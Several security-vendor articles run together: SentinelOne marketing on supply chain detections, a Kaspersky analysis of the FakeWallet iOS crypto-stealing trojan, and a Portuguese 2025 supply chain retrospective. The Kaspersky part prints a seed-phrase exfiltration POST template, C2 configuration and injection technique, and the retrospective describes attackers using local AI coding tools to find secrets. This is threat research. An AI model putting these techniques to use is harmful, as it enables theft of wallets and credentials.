Security programs were built for a different adversary. Vulnerability management, triage queues, patch cadences: all of it assumes an attacker who moves at a pace where human response can still close the window. This year’s SentinelOne Annual Threat Report documented what happens when that assumption breaks: adversaries are shifting left, embedding malicious logic in the build process before software ever reaches production. Likewise, the Verizon 2025 Data Breach Investigations Report found that edge device vulnerabilities are now being mass-exploited at or before the day of CVE publication, while organizations take a median of 32 days to patch them. The old model worked when it was designed. Attackers just weren’t running AI yet.
Three Attacks, One Common Failure Mode
Each attack ran through the same gap. Authorization was treated as a sufficient security boundary, and when authorization is automated, that assumption has no floor.
An AI agent with install permissions doesn’t stop to ask whether a package looks right. It installs. Trusted source, valid credentials, done. Supply chain attacks have always exploited trusted delivery channels, but a human at the keyboard introduces at least one friction point: Someone might notice something off, slow down, ask a question. Agents don’t do that. They execute at the speed of the next API call. When you give an agent install permissions, you’ve extended your trust model to cover everything it will ever run. Authorized agents execute exactly what their permissions allow. That’s the design. Treating permission as a proxy for safety is what turns a compromised supply chain hypersonic.
LiteLLM was compromised via credentials stolen through Trivy, a security scanner. The Axios attacker bypassed every npm security control the project had in place by exploiting a legacy access token the maintainers had forgotten to revoke. The CPUID attackers went after the vendor’s distribution infrastructure directly, so anyone who downloaded from the official website got a properly signed binary with a payload inside. In all three cases, the identity was legitimate. The intent wasn’t.
SentinelOne’s Annual Threat Report named the failure precisely: “The identity is verified, but the intent has been subverted, rendering traditional access controls ineffective against the resulting supply chain contamination.” Signature libraries, IOA rule sets, reputation lookups: All of them check authorization. None check intent. These attacks were designed to exploit exactly that. When the authorization model runs automatically, so does the exposure.
What Actually Stopped Them
In each incident, SentinelOne’s on-device behavioral AI flagged the execution pattern, not a known signature or hash for that specific attack.
The LiteLLM detection flagged a Python interpreter executing Base64-decoded code in a spawned subprocess. SentinelOne killed the process preemptively, terminating 424 related events in under 44 seconds, before any human was in a position to observe it. The Axios detection, via the Lunar behavioral engine, caught PowerShell executing under a renamed binary from a non-standard path. The engine flagged the technique regardless of what the payload contained. The first infection occurred 89 seconds after the malicious package went live; the behavioral detection fired on the same day of publication. The CPU-Z detection flagged cpuz_x64.exe building an anomalous process chain: spawning PowerShell, which spawned csc.exe, which spawned cvtres.exe. CPU-Z does not do that. The platform terminated the execution chain mid-attack during a 19-hour active distribution window.
This is the operational output of Autonomous Security Intelligence (ASI), the intelligence fabric built into the Singularity Platform. ASI runs on-device at the edge as part of the core architecture. It is already running when the attack starts, killing the process before the threat can escalate.
Where customers had SentinelOne fully deployed with the right policies enabled, they were covered. Where they did not, they were exposed, and with average ransomware recovery costs exceeding $4M per incident, that exposure has a real price. If you are not certain your deployment matches the configuration that stopped these three attacks, that certainty is worth getting.
AI to Fight AI
This is the product reality behind the thesis SentinelOne brought to RSAC: AI to fight AI. A machine-speed adversary requires a machine-speed defense. That is an architectural requirement, not a positioning statement. ASI monitors behavioral patterns at the point of execution and kills the process when something deviates, at machine speed, without waiting for a human to write a query or approve a kill.
According to an IDC study, organizations using SentinelOne’s AI platform identify threats 63% faster and remediate 55% faster than legacy solutions, neutralizing 99% of threats without a single manual step. For organizations in regulated industries (healthcare, financial services, manufacturing, critical infrastructure), the stakes compound beyond breach cost. An exposure window that stays open through manual investigation is a potential regulatory notification event, an audit finding, and a conversation the CISO has with the board under circumstances no one wants. The difference between a stopped attack and an active breach is whether the architecture acts before the attacker establishes persistence. By the time a human analyst approves the kill, redundant persistence mechanisms may already be installed. The CPU-Z attack deployed three of them specifically because partial cleanup leaves the payload operational.
Human-driven workflows, manual validation, and legacy tooling cannot keep pace with that attack cadence. When defense relies on investigation before action, the advantage shifts to the adversary. The gap is in the architecture. You cannot tune your way out of it.
Conclusion | The Only Question That Matters
SentinelOne’s latest Annual Threat Report documented the pattern these three attacks confirm: Adversaries are “shifting left” by integrating malicious logic into the build process itself, compromising software before it reaches production. It is the current operating model of advanced threat actors, and it is accelerating.
Three attacks. Three detections. Three outcomes, all in a matter of weeks. The architecture that survived them is real-time, AI-native, and built into the edge.
The question every security leader should be able to answer: Could your current solution have stopped LiteLLM, Axios, and CPU-Z autonomously, on the day of each attack, with no prior knowledge of any payload?
If the answer depends on a signature update, a cloud verdict, a manual investigation step, or a policy that wasn’t enabled, that is your answer.
Read the full technical breakdown of each incident:
All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.
In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.
We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.
Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.
Technical details
Background
This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.
App Store search results for “Ledger Wallet” (formerly Ledger Live)
In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.
Promotional screenshots from apps posing as the official TokenPocket app
During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:
MetaMask
Ledger
Trust Wallet
Coinbase
TokenPocket
imToken
Bitpie
We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.
We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.
The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.
An infected wallet and its corresponding profile used for the installation process
Malicious modules for hot wallets
The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.
The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:
The extracted mnemonics are stringed together.
This string is encrypted using RSA with the PKCS #1 scheme.
The encrypted data is then encoded into Base64.
Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.
The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:
Resolve symbols dataInit or processX0Parameter from the malicious library
Hand over control to these newly discovered functions
Execute the code for the original methods that the wrapper was built to replace
The content of the embedded __hook section, showing the trampolines and wrapper functions
These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.
The Ledger wallet malicious module
The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.
We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:
The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
{
"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
"code": "10001", // special code "login-url": "hxxps://xxx[.]com",
"login-code": "88761"
}
Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.
The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.
The Objective-C handler responsible for exfiltrating mnemonics
The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:
MnemonicVerifyScreen, embedded in PortfolioNavigator
PrivateKeyVerifyScreen, embedded in MyLedgerNavigator
In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Phishing window for seed phrase verification
The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:
verify-wallet-status.json tracks the current status and the timestamp of the last update.
verify-wallet-config.json stores the C2 server configuration the malware is currently using.
verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.
Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.
Decompiled pseudocode for the submitWalletSecret function
Other distribution channels, platforms, and the SparkKitty link
During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.
A phishing website hosting links to infected Ledger apps for both iOS and Android
We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.
One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.
Victims
Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.
Attribution
According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:
Some infected apps contained SparkKitty modules alongside the FakeWallet code.
The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
Both campaigns specifically target victims’ cryptocurrency assets.
Conclusion
Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:
Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.
Os ataques a cadeias de suprimentos têm sido uma das categorias mais perigosas de incidentes de cibersegurança há anos. Se o ano de 2025 nos ensinou alguma coisa, é que os cibercriminosos estão aumentando sua capacidade de ataque. Nesta análise detalhada, veremos ataques a cadeias de suprimentos realizados em 2025 que, embora não sejam os que causaram maiores prejuízos financeiros, certamente foram os mais incomuns e chamaram a atenção do setor.
Janeiro de 2025: um RAT encontrado no repositório do GitHub do DogWifTools
Como um “aquecimento” após o fim de ano, os cibercriminosos realizaram inúmeros ataques de backdoor a várias versões do DogWifTools. Trata-se de um utilitário projetado para lançar e promover vigorosamente moedas de meme baseadas em Solana no Pump.fun. Depois de comprometer o repositório privado do GitHub para o DogWifTools, os invasores esperaram os desenvolvedores carregarem uma nova versão do utilitário, injetaram um RAT nela e trocaram o programa legítimo por uma versão maliciosa apenas algumas horas depois. De acordo com os desenvolvedores, os agentes de ameaças instalaram com êxito as versões 1.6.3 a 1.6.6 do DogWifTools para Windows.
O golpe final foi dado no fim de janeiro. Depois de usar o RAT para coletar uma grande quantidade de dados dos dispositivos infectados, os invasores esvaziaram as carteiras de criptomoedas das vítimas. As vítimas estimaram o total de mais de USD 10 milhões em criptomoedas, mas os invasores contestaram esse número, embora não tenham revelado exatamente o valor total roubado.
Fevereiro de 2025: roubo de USD 1,5 bilhão do Bybit
Se janeiro foi só o aquecimento, o mês de fevereiro foi um colapso total. A invasão da plataforma de câmbio de criptomoedas Bybit superou completamente os incidentes anteriores, tornando-se o maior roubo de criptomoedas da história. Os invasores conseguiram comprometer o software Safe{Wallet}, a solução de armazenamento a frio de múltiplas assinaturas na qual a empresa confiava para gerenciar os seus ativos.
Os funcionários da Bybit pensaram que estavam assinando uma transação de rotina. Na realidade, eles estavam autorizando um contrato inteligente malicioso. Uma vez executado, ele esvaziou os fundos de uma carteira fria principal e os distribuiu em várias centenas de endereços controlados pelo invasor. A transferência final ultrapassou 400 mil ETH/stETH, com um impressionante valor total de aproximadamente… USD 1,5 bilhão!
Março de 2025: Coinbase é alvo de comprometimento em cascata do GitHub Actions
O ano de 2025 seguiu com um ataque sofisticado que usou o comprometimento de vários GitHub Actions, os padrões de fluxo de trabalho usados para automatizar tarefas de DevOps padrão, como seu principal mecanismo de entrega. Tudo começou com o roubo de um token de acesso pessoal pertencente a um mantenedor da ferramenta de análise SpotBugs. Usando esse ponto de apoio, os invasores publicaram um processo malicioso e conseguiram sequestrar um token de um mantenedor do fluxo de trabalho reviewdog/action-setup, que também estava envolvido no projeto.
A partir daí, eles comprometeram uma dependência, o fluxo de trabalho tj-actions/changed-files, modificando-o para executar um script Python malicioso. Esse script foi projetado para procurar segredos de alto valor, como chaves da AWS, do Azure e do Google Cloud, tokens do GitHub e do NPM, credenciais de banco de dados e chaves privadas do RSA. Por incrível que pareça, o script gravou tudo o que encontrou diretamente nos registros de compilação acessíveis ao público em geral. Isso significa que os dados vazados não estavam disponíveis apenas para os invasores, mas também para qualquer pessoa experiente o suficiente para acessá-los.
O alvo original dessa operação era um repositório pertencente à plataforma de câmbio de criptomoedas Coinbase. Felizmente, os desenvolvedores detectaram a ameaça a tempo e impediram o comprometimento. Ao que tudo indica, depois de perceberem que estavam prestes a perder o controle do pipeline tj-actions/changed-files, os invasores adotaram uma abordagem indiscriminada. Isso colocou 23 mil repositórios em risco de vazamento de segredos. No final, várias centenas desses repositórios realmente tiveram suas credenciais confidenciais expostas ao público.
Abril de 2025: um backdoor em 21 extensões do Magento
Em abril, uma infecção foi descoberta em um amplo conjunto de extensões do Magento, uma das plataformas mais populares para a criação de lojas on-line. O backdoor foi incorporado em 21 módulos desenvolvidos por três fornecedores: Tigren, Meetanshi e MGS. As extensões faziam parte da infraestrutura de várias centenas de empresas de comércio eletrônico, incluindo pelo menos uma corporação multinacional.
De acordo com os pesquisadores que o descobriram, o backdoor na verdade foi implantado em 2019. Em abril de 2025, os invasores o acionaram para comprometer sites e fazer o upload de web shells. Isso foi feito por meio de uma função incorporada nas extensões que executava um código arbitrário extraído de um arquivo de licença.
Por ironia, os módulos infectados incluíam o MGS GDPR e o Meetanshi CookieNotice. Como os nomes sugerem, essas extensões foram projetadas para ajudar os sites a cumprir os regulamentos de privacidade e processamento de dados dos usuários. Por fim, em vez de garantir a privacidade, o uso deles provavelmente levou ao roubo de dados e ativos financeiros do usuário por meio de skimming digital.
Maio de 2025: ransomware distribuído por meio de um MSP comprometido
Em maio, os agentes de ransomware da gangue DragonForce obtiveram acesso à infraestrutura de um provedor de serviços gerenciados (MSP) não identificado e a usaram para distribuir um ransomware e roubar dados das organizações clientes do MSP.
Ao que tudo indica, os invasores exploraram várias vulnerabilidades (incluindo uma falha crítica) no SimpleHelp, a ferramenta de monitoramento e gerenciamento remoto usada pelo MSP. Essas vulnerabilidades foram descobertas em 2024 e divulgadas publicamente e corrigidas em janeiro de 2025. Infelizmente, ficou claro que o MSP optou por não acelerar o processo de atualização, um atraso que a gangue do ransomware ficou mais do que feliz em explorar.
Junho de 2025: um backdoor em mais de uma dúzia de pacotes npm populares
No início do verão, os invasores invadiram a conta de um dos mantenedores da biblioteca Glustack e usaram um token de acesso roubado para injetar backdoors em 17 pacotes npm. O mais popular desses pacotes, @react-native-aria/interactions, ostentava 125 mil downloads semanais, enquanto todos os pacotes comprometidos combinados totalizaram mais de um milhão.
O que é particularmente interessante nesse caso são as etapas que os desenvolvedores do Glustack seguiram após o incidente: primeiro, eles restringiram o acesso ao repositório GitHub para contribuidores secundários; segundo, eles ativaram a autenticação de dois fatores (2FA) para publicar novas versões; e terceiro, eles prometeram implementar práticas de desenvolvimento seguras, como fluxo de trabalho baseado em pull requests, revisões sistemáticas de código, registro de auditorias e assim por diante. Em outras palavras, antes do incidente, um projeto com centenas de milhares de downloads semanais não tinha tais medidas em vigor.
Julho de 2025: pacotes npm populares infectados por meio de um ataque de phishing
Em julho, os pacotes npm foram novamente as estrelas do show, incluindo o pacote amplamente usado chamado “is”, que possui 2,7 milhões de downloads semanais. Essa biblioteca de utilitários JavaScript fornece uma ampla variedade de funções de verificação de tipo e validação de valor. Para realizar um ataque de phishing contra um dos proprietários do projeto, os invasores utilizaram com êxito um truque antigo: o typosquatting (usar o domínio npnjs.com em vez de npmjs.com) e um clone do site oficial do npm.
Em seguida, eles usaram a conta comprometida para publicar várias das suas próprias versões do pacote com um backdoor incorporado. A infecção passou desapercebida por seis horas: tempo suficiente para um grande número de desenvolvedores baixarem os pacotes npm maliciosos.
A mesma tática de phishing foi usada contra outros desenvolvedores. Os invasores aproveitaram várias contas de desenvolvedores comprometidas para distribuir diferentes variantes de sua carga maliciosa. Há também uma forte suspeita de que eles podem ter guardado parte dessa carga para ataques futuros.
Agosto de 2025: o ataque s1ngularity e o vazamento de centenas de segredos dos desenvolvedores
No final de agosto, um incidente apelidado de “s1ngularity” continuou a tendência de atingir desenvolvedores de JavaScript. Os invasores comprometeram o Nx, um sistema de compilação popular e uma ferramenta de otimização de pipeline de CI/CD. O código malicioso injetado nos pacotes pesquisou diversos sistemas dos desenvolvedores infectados, acessando uma grande quantidade de dados confidenciais, como chaves de carteiras de criptomoedas, tokens do npm e do GitHub, chaves SSH, chaves de API e muito mais.
Curiosamente, os invasores usaram ferramentas de IA instaladas localmente, como Claude Code, Gemini CLI e Amazon Q, para detectar os segredos nas máquinas das vítimas. Tudo o que eles encontraram foi publicado nos repositórios públicos do GitHub criados em nome das vítimas, usando os títulos “s1ngularity-repository”, “s1ngularity-repository-0” e “s1ngularity-repository-1”. Como você deve ter adivinhado, é daí que vem o nome do ataque.
Consequentemente, os dados privados de centenas de desenvolvedores acabaram ficando à vista de todos e poderiam ser acessados não apenas pelos invasores, mas por absolutamente qualquer pessoa com uma conexão com a Internet.
Setembro de 2025: um stealer de criptomoedas ataca pacotes npm que têm 2,6 bilhões de downloads semanais
A tendência de comprometimentos de pacotes npm seguiu até setembro. Após uma nova campanha de phishing direcionada a desenvolvedores de JavaScript, os invasores conseguiram injetar código malicioso em algumas dezenas de projetos de alto nível. Alguns deles, especificamente “chalk” e “debug”, tiveram centenas de milhões de downloads semanais; coletivamente, os pacotes infectados estavam acumulando mais de 2,6 bilhões de downloads por semana no momento da violação, e eles se tornaram mais populares desde então.
A carga era um stealer de criptomoedas: um malware projetado para interceptar transações de criptomoeda e redirecioná-las para as carteiras dos invasores. Felizmente, apesar de infectar com sucesso alguns dos projetos mais populares do mundo, os invasores acabaram falhando no estágio final da operação. No final, eles ficaram com míseros USD 925.
Apenas uma semana depois, outro grande incidente ocorreu: a primeira onda do malware autopropagável Shai-Hulud, que infectou cerca de 150 pacotes npm, incluindo projetos da CrowdStrike. No entanto, a segunda onda, que ocorreu vários meses depois, provou ser muito mais destrutiva. Vamos analisar o Great Worm em mais detalhes a seguir.
Outubro de 2025: o GlassWorm infecta o ecossistema do Visual Studio Code
Cerca de um mês após o ataque do Shai-Hulud, um malware autopropagável semelhante denominado GlassWorm começou a infectar extensões do Visual Studio Code no Open VSX Registry e no Microsoft Extension Marketplace. Os invasores estavam procurando contas do GitHub, Git, npm e Open VSX, bem como chaves de carteiras de criptomoedas.
Os criadores do GlassWorm adotaram uma abordagem altamente criativa para sua infraestrutura de comando e controle: eles usaram uma carteira de criptomoedas no blockchain Solana como seu C2 principal, com o Google Agenda servindo como um canal de comunicação de backup.
Além de esvaziar as carteiras de criptomoedas das vítimas e sequestrar suas contas para espalhar o worm ainda mais, os invasores também injetaram um RAT chamado Zombi nos dispositivos infectados, obtendo controle total sobre os sistemas comprometidos.
Novembro de 2025: a campanha IndonesianFoods e 150 mil pacotes de spam no npm
Em novembro, um novo incômodo emergiu do repositório do npm. Uma campanha maliciosa coordenada apelidada de IndonesianFoods fez os invasores inundarem o repositório com dezenas de milhares de pacotes inúteis.
O objetivo principal era jogar com o sistema para inflar as métricas e os tokens de farm no tea.xyz, uma plataforma de blockchain projetada para recompensar os desenvolvedores de código aberto. Para conseguir isso, os invasores construíram uma enorme rede de projetos interdependentes com nomes que fazem referência à culinária indonésia, como zul-tapai9-kyuki e andi-rendang23-breki.
Os criadores da campanha não se deram ao trabalho de invadir contas. Estritamente falando, os pacotes de spam nem sequer continham um contêiner malicioso, a menos que você considere um script projetado para gerar automaticamente novos contêineres a cada sete segundos. No entanto, o incidente serviu como um lembrete de como a infraestrutura npm é vulnerável a campanhas de spam em larga escala.
Dezembro de 2025: Shai-Hulud 2.0 e o vazamento de 400 mil segredos de desenvolvedores
O destaque absoluto do ano, não apenas de ataques a cadeias de suprimentos, mas provavelmente para todo o campo de segurança cibernética, foi o malware autopropagável Shai-Hulud (também conhecido como Sha1-Hulud) contra desenvolvedores.
Esse malware foi a evolução lógica do ataque s1ngularity mencionado anteriormente: ele também vasculhou os sistemas em busca de todos os tipos de segredos e os publicou em repositórios GitHub abertos. No entanto, o Shai-Hulud adicionou um mecanismo de autopropagação à linha de base: o worm infectou projetos controlados por desenvolvedores já comprometidos usando as credenciais roubadas.
A primeira onda do Shai-Hulud ocorreu em setembro, infectando várias centenas de pacotes npm. No final do ano, a segunda onda chegou e foi batizada como Shai-Hulud 2.0.
Dessa vez, o worm foi atualizado com a funcionalidade de wiper. Se o malware não encontrasse tokens npm ou GitHub válidos em um sistema infectado, ele acionava uma carga destrutiva que apagava os arquivos do usuários.
Aproximadamente 400 mil segredos foram vazados no total como resultado do ataque. Vale a pena notar que, assim como no s1ngularity, todos os dados confidenciais acabaram publicados em repositórios públicos, onde poderiam ser baixados não apenas pelos invasores, mas por qualquer outra pessoa. E é altamente provável que as consequências desse ataque ainda sejam sentidas por um longo tempo.
Um dos primeiros casos confirmados de uma exploração usando segredos vazados pelo Shai-Hulud foi um roubo de criptomoeda visando vários milhares de usuários da Trust Wallet. Os invasores usaram esses segredos na véspera de Natal para carregar uma versão maliciosa da extensão Trust Wallet com um drenador de criptomoedas integrado para a Chrome Web Store. No final, eles conseguiram se safar com USD 8,5 milhões em criptomoedas.
Como se proteger contra ataques a cadeias de suprimentos
Ao elaborar uma retrospectiva semelhante para 2024, descobrimos que manter uma estrutura de “um mês, uma ameaça” é bastante fácil. Para 2025, no entanto, o caso foi muito mais grave. Houve tantos ataques maciços a cadeias de suprimentos no ano passado, que não conseguimos encaixá-los em uma visão geral.
O ano de 2026 está se mostrando igualmente intenso, por isso recomendamos verificar nossa postagem sobre a prevenção de ataques a cadeias de suprimentos. Enquanto isso, aqui estão as conclusões mais importantes:
Avalie minuciosamente seus fornecedores e faça uma auditoria cuidadosa do código que você integra em seus projetos.
Implemente requisitos de segurança rígidos diretamente em seus contratos de serviço.
Desenvolva um plano abrangente de resposta a incidentes.
Monitore atividades suspeitas em sua infraestrutura corporativa usando uma solução de XDR.
Se quiser saber mais detalhes sobre os ataques a cadeias de suprimentos, confira o nosso relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção ao ecossistema digital global em uma era de interdependência). Ele se baseia em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos relacionados à cadeia de suprimentos e a relações de confiança, onde ainda existem lacunas de proteção e quais estratégias adotar para aumentar a resiliência contra esse tipo de ameaça.
A guide to the suspected North Korean cyber attack—and how SentinelOne defends against it at machine speed
On March 31, 2026, a North Korean state actor hijacked the npm credentials of the primary Axios maintainer and published two backdoored releases that deployed a cross-platform remote access trojan (RAT) to Windows, macOS, and Linux systems. Axios is the most widely used HTTP client in the JavaScript ecosystem, with approximately 100 million weekly downloads and a presence in roughly 80% of cloud and code environments. The malicious versions were live for approximately three hours. An estimated 600,000 downloads occurred during that window with no user interaction required beyond a routine npm install.
SentinelOne protects against this attack, demonstrating why autonomous, layered defense at machine speed is not optional when adversaries operate at this velocity. In this attack, the first infection was observed 89 seconds after publication. At that pace, manual workflows do not have a response window. They have a spectator seat.
For SentinelOne’s customers and partners, here’s a quick overview of the compromise, SentinelOne’s response, and steps you can take to further protect your environment.
What Happened: The Anatomy of a State-Level Supply Chain Weapon
The attacker, tracked as UNC1069 by Google Threat Intelligence and Sapphire Sleet by Microsoft, compromised maintainer credentials and published axios@1.14.1 (tagged “latest”) and axios@0.30.4 (tagged “legacy”). Each version introduced a single new dependency: plain-crypto-js@4.2.1, a purpose-built trojan. The malicious package’s postinstall hook silently deployed a cross-platform RAT communicating over HTTP to C2 infrastructure at sfrclak[.]com (142.11.206[.]73), commonly being referred to as WAVESHAPER.V2.
